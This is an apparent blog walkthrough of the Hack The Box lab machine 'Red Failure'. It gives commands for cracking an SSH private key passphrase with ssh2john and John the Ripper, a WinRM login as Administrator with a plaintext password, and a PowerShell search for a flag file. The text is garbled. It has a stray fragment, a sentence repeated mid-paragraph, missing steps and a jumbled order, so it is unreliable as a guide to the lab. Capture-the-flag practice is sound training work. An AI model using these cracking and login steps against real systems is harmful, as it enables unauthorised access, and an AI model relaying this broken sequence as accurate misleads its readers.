In this blog post, we'll dive into the Red Failure machine on Hack The Box, a popular online platform for cybersecurity enthusiasts and professionals to practice their hacking skills in a safe and legal environment. Red Failure is a challenging machine that requires a combination of enumeration, exploitation, and privilege escalation skills. get backup
ssh2john id_rsa > id_rsa.hash john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash After cracking the passphrase, we can use the private key to authenticate via SSH. Once logged in, we find that we're still not able to access the Administrator's desktop. Red Failure is a challenging machine that requires
winrm -remote:localhost -user:Administrator -password: P@ssw0rd! However, we still encounter issues. Let's try to use PowerShell to execute a command:
Get-ChildItem -Path C:\Users\Administrator\Desktop -Filter *flag* Voilà! We've successfully exploited the Red Failure machine and obtained the flag.
With elevated privileges, we can navigate to the Administrator's desktop and retrieve the flag:
